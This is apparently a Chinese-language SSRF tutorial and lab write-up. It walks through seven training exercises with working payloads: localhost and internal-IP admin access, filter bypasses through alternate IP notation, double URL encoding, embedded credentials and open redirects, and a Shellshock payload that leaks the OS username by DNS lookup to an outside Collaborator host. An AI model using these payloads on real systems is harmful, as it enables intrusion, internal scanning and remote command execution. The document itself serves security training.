服务端请求伪造SSRF漏洞-7个实验（全）
前言：
介绍：
（1）服务器端请求伪造（SSRF）（√）
（2）SSRF常见攻击（√）
（3）绕过SSRF的普通防御（√）
（4）盲SSRF漏洞（√）
（5）寻找SSRF漏洞的隐藏攻击面（√）
目录
一、服务器端请求伪造（SSRF）
1、SSRF简述：
1、服务器端请求伪造（也称为SSRF）是一个Web安全漏洞，允许攻击者诱使服务器端应用程序向非预期位置发出请求。
2、在典型的SSRF攻击中，攻击者可能会使服务器连接到组织基础设施中的仅限内部的服务。在其他情况下，它们可能会强制服务器连接到任意外部系统，从而可能泄漏授权凭据等敏感数据
3、SSRF攻击经常利用信任关系从易受攻击的应用程序升级攻击并执行未经授权的操作。这些信任关系可能与服务器本身相关，也可能与同一组织内的其他后端系统相关。
2、影响
1、成功的SSRF攻击通常会导致未经授权的操作或对组织内数据的访问，无论是在易受攻击的应用程序本身还是在应用程序可以与之通信的其他后端系统上。在某些情况下，SSRF漏洞可能允许攻击者执行任意命令。
2、导致连接到外部第三方系统的SSRF漏洞利用可能会导致恶意的向前攻击，这些攻击似乎源自托管易受攻击的应用程序的组织。
二、SSRF常见攻击
1、SSRF攻击服务器本身
1、在针对服务器本身的SSRF攻击中，攻击者诱使应用程序通过其环回网络接口向托管应用程序的服务器发出HTTP请求。这通常涉及提供一个带有主机名的URL，如127.0.0.1（指向环回适配器的保留IP地址）或localhost（同一适配器的常用名称）2、例如一个购物应用程序，它允许用户查看某个商品在特定商店中是否有库存。要提供库存信息，应用程序必须查询各种后端REST API，具体取决于所涉及的产品和商店。该函数是通过前端HTTP请求将URL传递给相关后端API端点来实现的。
当用户查看商品的库存状态时，浏览器会发出如下请求： POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1这将导致服务器向指定的URL发出请求，检索库存状态，并将其返回给用户。 在这种情况下，攻击者可以修改请求以指定服务器本身的本地URL。例如： POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://localhost/admin （服务器将获取/admin URL的内容并将其返回给用户）
2、现在攻击者可以直接访问/admin URL。但是管理功能通常只有经过身份验证的适当用户才能访问。因此，直接访问URL的攻击者不会看到任何感兴趣的内容。但如果对/admin URL的请求来自本地计算机本身，则会绕过正常的访问控制。应用程序赠款对管理功能的完全访问权限，因为请求似乎来自受信任的位置。
3、应用程序以这种方式运行，并且隐式地信任来自本地计算机的请求的原因：
1、访问控制检查可以在位于应用服务器前面的不同组件中实现。当重新建立到服务器本身的连接时，将跳过检查。 2、出于灾难恢复的目的，应用程序可能允许来自本地计算机的任何用户在不登录的情况下进行管理访问。这为管理员提供了一种在丢失凭据时恢复系统的方法。这里的假设是只有完全信任的用户直接来自服务器本身。 3、管理界面可能正在侦听与主应用程序不同的端口号，因此用户可能无法直接访问。这种类型的信任关系，其中来自本地机器的请求与普通请求的处理方式不同，通常使SSRF成为一个严重的漏洞。
4、涉及实验：
实验1：针对本地服务器的基本SSRF
实验1：针对本地服务器的基本SSRF
信息：
本实验具有从内部系统获取数据的库存检查功能。
要解决实验问题，更改库存检查URL以访问管理界面http://localhost/admin，并删除用户carlos
part1:
浏览到/admin，发现您无法直接访问管理页面
part2:
访问一个产品，点击"检查库存"，拦截请求，并将其发送到repeater
将stockApi参数中的URL更改为http://localhost/admin（将显示管理界面）
读取HTML以标识要删除目标用户的URL，该URL为：
http://localhost/admin/delete?username=carlos
在stockApi参数中提交此URL，以传递SSRF攻击。
刷新页面
2、SSRF攻击其他后端系统
1、另一种类型的信任关系经常伴随着服务器端请求伪造而出现，即应用服务器能够与用户无法直接访问的其他后端系统交互。这些系统通常具有不可路由的私有IP地址。由于后端系统通常受网络拓扑的保护，因此它们的安全性通常较弱。在许多情况下，内部后端系统包含敏感功能，能够与系统交互的任何人都可以在不进行身份验证的情况下访问这些功能。
2、假设后端URL www.example.com处有一个管理界面https://192.168.0.68/admin
攻击者可以通过提交以下请求利用SSRF漏洞访问管理界面 POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://192.168.0.68/admin
3、涉及实验：
实验2：基本SSRF与另一个后端系统
实验2：基本SSRF与另一个后端系统
信息：
这个实验室有一个库存检查功能，可以从内部系统中获取数据
要解决这个问题，使用库存检查功能扫描内部192.168.0.X 范围，找到端口8080上的管理界面，然后用它删除用户 Carlos
part1:
访问一个产品，点击"检查库存"，在Burp Suite中拦截请求
part2：
进行攻击
并将其发送到Burp入侵者
先"Clear §"，将 stockApi 参数更改为http://192.168.0.1:8080/admin然后突出显示 IP 地址的最后八位数(数字1) ，点击Add§
Payloads设置，将有效负载类型更改为Numbers，并在"From"、"To"和"Step"框中分别输入1、255和1
并单击"开始攻击"
按状态代码升序对其进行排序，看到一个状态为200的条目，其中显示了一个管理界面
右键此请求，将其发送到Burp Repeater，并将stockApi中的路径更改为：http://192.168.0.135:8080/admin/delete?username=carlos
三、绕过SSRF的普通防御
1、SSRF具有基于黑名单的输入滤波器
1、有些应用程序会阻止包含主机名（如127.0.0.1和localhost）或敏感URL（如/admin）的输入。在这种情况下，通常可以使用各种技术绕过筛选器：
1、使用www.example.com的替代IP表示法127.0.0.1，例如2130706433、017700000001或127.1 2、注册您自己的域名，解析为127.0.0.1。您可以使用spoofed.burpcollaborator.net来实现此目的。 3、使用URL编码或大小写变化混淆被阻止的字符串。
2、涉及实验：
实验3：SSRF具有基于黑名单的输入滤波器
实验3：SSRF具有基于黑名单的输入滤波器
信息：
本实验具有从内部系统获取数据的库存检查功能。
要解决实验问题，请更改库存检查URL以访问管理界面http://localhost/admin，并删除用户carlos
开发者已经部署了两个弱的反SSRF防御，需要绕过它们
part1:
访问一个产品，点击"检查库存"，使用BP拦截请求，并将其发送到repeater
改变stockApi参数为http://127.0.0.1/错误提示，看出并观察到请求被阻止
part2：
绕过过滤器
通过将URL更改为http://127.1/
将URL更改为
http://127.1/admin并观察到该URL再次被阻止
将"a"进行双URL编码为%2561http://127.1/%2561dmin
/admin/delete?username=carlos
part3：
完成实验
以访问管理界面并删除目标用户
http://127.1/%2561dmin/delete?username=carlos
2、SSRF具有基于白名单的输入过滤器
1、某些应用程序只允许与允许值的白名单匹配、以其开头或包含其的输入。在这种情况下，有时可以利用URL解析中的不一致性来绕过过滤器。
URL规范包含许多在实现对URL的即席解析和验证时容易被忽略的特性： 1、可以使用@字符在主机名之前的 URL 中嵌入凭据。 例如： https://expected-host(预期主机)@evil-host(恶意主机) 2、可以使用 # 字符来表示 URL 片段。例如： https：//evil-host(恶意主机)#expected-host(预期主机) 3、可以利用DNS命名层次结构将所需的输入放入您控制的完全限定DNS名称中。例如： https://expected-host.evil-host 4、可以对字符进行URL编码以混淆URL分析代码。如果实现筛选器的代码与执行后端HTTP请求的代码处理URL编码的字符的方式不同，则这一点特别有用 5、可以将这些技术结合使用
涉及实验：
实验6：具有基于白名单的输入滤波器的SSRF
实验6：具有基于白名单的输入滤波器的SSRF
信息：
本实验具有从内部系统获取数据的库存检查功能。
要解决实验问题：更改库存检查URL以访问管理界面http：//localhost/admin，并删除用户carlos
开发者已经部署了一个反SSRF的防御，需要绕过它。
part1:
访问一个产品，点击"检查库存"，BP拦截请求，并将其发送到repeater
将stockApi参数中的URL更改为http://127.0.0.1/然后观察应用程序是否正在解析URL、提取主机名并根据白名单对其进行验证。
将URL更改为
http://username@stock.weliketoshop.net/并观察其是否被接受，结果表明URL解析器支持嵌入式凭据
在用户名后附加一个#，观察URL被拒绝
双URL将#编码为%2523，并观察非常可疑的“Internal Server Error”响应，该响应指示服务器可能已尝试连接到“username”
part2:
完成实验
要访问管理界面并删除目标用户，将URL更改为：
http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos
3、通过开放重定向绕过SSRF滤波器
1、有时可以通过利用开放的重定向漏洞来绕过任何类型的基于过滤器的防御。
2、假设用户提交的URL经过严格验证，以防止对SSRF行为的恶意利用。但允许其URL的应用程序包含一个开放的重定向漏洞。如果用于使后端HTTP请求支持重定向的API，则可以构造一个满足过滤器的URL，并将请求重定向到所需的后端目标
例如，假设应用程序包含一个开放的重定向漏洞，其中以下URL： /product/nextProduct?currentProductId=6&path=http://evil-user.net 返回重定向到： http://evil-user.net
3、可以利用开放重定向漏洞绕过URL过滤器，并利用SSRF漏洞进行攻击
例如： POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin这个SSRF攻击之所以有效，是因为应用程序首先验证提供的stockAPI URL是否在允许的域中，它确实是。然后应用程序请求提供的URL，这将触发打开重定向。它遵循重定向，并向攻击者选择的内部URL发出请求
4、涉及实验：
实验4：SSRF通过开放重定向漏洞绕过过滤器
实验4：SSRF通过开放重定向漏洞绕过过滤器
信息：
这个实验室有一个库存检查功能，可以从内部系统获取数据
要解决这个实验室：改变库存检查的 URL，以访问 http://192.168.0.12:8080/admin 的管理界面，并删除用户 carlos
库存检查器被限制为只能访问本地应用程序，因此需要首先找到一个影响应用程序的打开重定向
part1:
访问一个产品，点击"检查库存"，使用BP拦截请求，并将其发送到repeater
尝试篡改stockApi参数，观察到无法使服务器直接向其他主机发出请求
part2:
重定向功能
单击"next product"并观察到path参数被放置到重定向响应的Location头中，从而导致打开重定向
发送到repeater
创建一个利用开放重定向漏洞的URL，重定向到管理界面，并将其输入股票检查器上的stockApi参数：
/product/nextProduct?path=http://192.168.0.12:8080/admin
跟随重定向并显示管理页面（但是重定向没有真真的被执行）
part3：
添加重定向参数，并使用其他方式提交（因为GET提交的重定向会检查参数）
(这一过程中测试了很多情况)
如（失败的）：
part4：
管理页面
如果失败（注意是cookie的问题，重新拦截发包）
请求头： POST /product/stock HTTP/1.1 请求数据： stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin
part5：
完成实验
修改路径以删除目标用户
/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos
四、盲SSRF漏洞
1、简述：
1、当应用程序被诱导向提供的URL发出后端HTTP请求，但来自后端请求的响应没有在应用程序的前端响应中返回时，就会出现盲SSRF漏洞。
2、盲SSRF通常更难被利用，但有时会导致在服务器或其他后端组件上完全远程执行代码。
2、影响：
盲目SSRF漏洞的影响通常低于完全知情的SSRF漏洞，因为它们是单向的。虽然在某些情况下可以利用它们来实现完全的远程代码执行，但不能轻易利用它们来从后端系统检索敏感数据。
3、发现和利用SSRF漏洞
1、检测盲SSRF漏洞的最可靠方法是使用带外（OAST）技术。这涉及到尝试触发对您控制的外部系统的HTTP请求，并监视与该系统的网络交互。
2、使用带外技术最简单、最有效的方法是使用Burp Collaborator。您可以使用Burp Collaborator客户机生成唯一的域名，将这些域名以有效负载的形式发送到应用程序，并监视与这些域的任何交互。如果观察到来自应用程序的传入HTTP请求，则它容易受到SSRF攻击。
3、在测试SSRF漏洞时，通常会观察到针对所提供Collaborator域的DNS查找，但没有后续HTTP请求。发生这种情况的原因通常是应用程序试图向域发出HTTP请求，这会导致初始DNS查找，但实际的HTTP请求被网络级过滤阻止。基础设施允许出站DNS流量是相对常见的，因为这是许多目的所需要的，但会阻止到意外目的地的HTTP连接。
4、简单地识别盲人SSRF易损性可以触发带外HTTP请求的漏洞本身并不提供攻击途径。由于无法查看后端请求的响应，因此不能使用该行为来浏览应用服务器可以访问的系统上的内容。但是，仍然可以利用它来探测服务器本身或其他后端系统上的其他漏洞。您可以盲目地扫描内部IP地址空间，发送旨在检测已知漏洞的有效负载。如果这些有效负载还采用了盲带外技术，那么您可能会发现未打补丁的内部服务器上存在严重漏洞。
5、利用SSRF漏洞的另一个途径是诱使应用程序连接到攻击者控制下的系统，并向建立连接的HTTP客户端返回恶意响应。如果可以利用服务器HTTP实现中的严重客户端漏洞，则可能能够在应用程序基础结构中实现远程代码执行。
6、涉及实验：
实验5：带外检测的盲SSRF
实验7：利用Shellshock的盲SSRF
实验5：带外检测的盲SSRF
信息：
本网站使用分析软件，当产品页面加载时，该软件会获取Referer标题中指定的URL。
要解决实验：使用此功能向公共Burp Collaborator服务器发出HTTP请求。
part1:
访问一个产品，在Burp Suite中拦截请求，并将其发送到Burp Repeater
part2:
使用BP提供的服务器客户端
BP选项卡---BC客户端---复制服务器URLhttps://xqrbsy7k0bvri28avnpps3ddb4hu5j.burpcollaborator.net
以使用Burp Collaborator生成的域替换原始域（Referer），发送请求
转到Collaborator选项卡，再刷新，查看交互信息（看到一些DNS和HTTP交互，这些交互是应用程序由于负载而启动的）
实验7：利用Shellshock的盲SSRF
信息：
本网站使用分析软件，当产品页面加载时，该软件会获取Referer标题中指定的URL。
要解决实验问题，请使用此功能对端口8080上的192.168.0.X范围内的内部服务器执行SSRF盲攻击。在盲目攻击中，对内部服务器使用Shellshock有效负载以泄漏操作系统用户的名称
part1:
在Burp Suite Professional中，从BApp Store安装"Collaborator Everywhere"扩展
part2：
插件的检测
将实验室域添加到Burp Suite的目标范围，以便Collaborator Everywhere将其作为目标。
浏览网站，当加载产品页面时，它通过Referer头触发了与Burp Collaborator的HTTP交互
观察HTTP交互在HTTP请求中包含User-Agent字符串。将对产品页面的请求发送给Burp Intruder
part3：
ssrf盲测
使用Burp Collaborator 客户端生成唯一的 Burp Collaborator 有效载荷，并将其放入以下 Shellshock 有效载荷中
() { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN 我的是： () { :; }; /usr/bin/nslookup $(whoami).87datwvawy02yijyhbt67qkzfqlh96.burpcollaborator.net单击“clear §”，更改 Referer 标头，http://192.168.0.1:8080然后突出显示 IP 地址的最后一个八位字节（数字1），单击“添加 §”
切换到Payloads选项卡，将有效负载类型更改为Numbers，并在"From"、"To"和"Step"框中分别输入1、255和1（单击"开始攻击"）
攻击完成后，返回Collaborator选项卡，然后单击"立即轮询"。应该看到一个DNS交互，它是由被成功的盲SSRF攻击击中的后端系统发起的。操作系统用户的名称应显示在DNS子域中。
（如果始终没有结果，考虑是否是cookie过期，换一个cookie；或者重新复制一个BP客户端URL）
part5：
完成实验
输入操作系统用户的名称
五、寻找SSRF漏洞的隐藏攻击面
1、简述：
许多服务器端请求伪造漏洞相对容易发现，因为应用程序的正常通信涉及包含完整URL的请求参数。SSRF的其他例子更难找到。
2、请求中的部分URL
有时，应用程序只将主机名或URL路径的一部分放入请求参数中。然后，提交的值在服务器端合并到请求的完整URL中。如果该值很容易被识别为主机名或URL路径，则潜在的攻击面可能很明显。然而，作为完整SSRF的可利用性可能会受到限制，因为您无法控制所请求的整个URL。
3、数据格式中的URL
一些应用程序传输数据的格式的规范允许包含数据解析器可能会请求的格式的URL。一个明显的例子是XML数据格式，它已广泛用于Web应用程序中将结构化数据从客户机传输到服务器。当应用程序接受XML格式的数据并对其进行解析时，它可能容易受到XXE注射液，并反过来容易受到SSRF通过XXE。我们将在查看时更详细地讨论这一点XXE注射液脆弱性。
4、SSRF通过Referer报头
一些应用程序使用服务器端分析软件来跟踪访问者。该软件通常记录请求中的Referer头，因为这对于跟踪传入链接特别有用。分析软件通常会访问出现在Referer标题中的任何第三方URL。这通常用于分析引用站点的内容，包括传入链接中使用的锚文本。因此，Referer报头通常代表SSRF漏洞的有效攻击面。见盲SSRF漏洞有关Referer标头漏洞的示例。
- 点赞
- 收藏
- 关注作者
评论（0）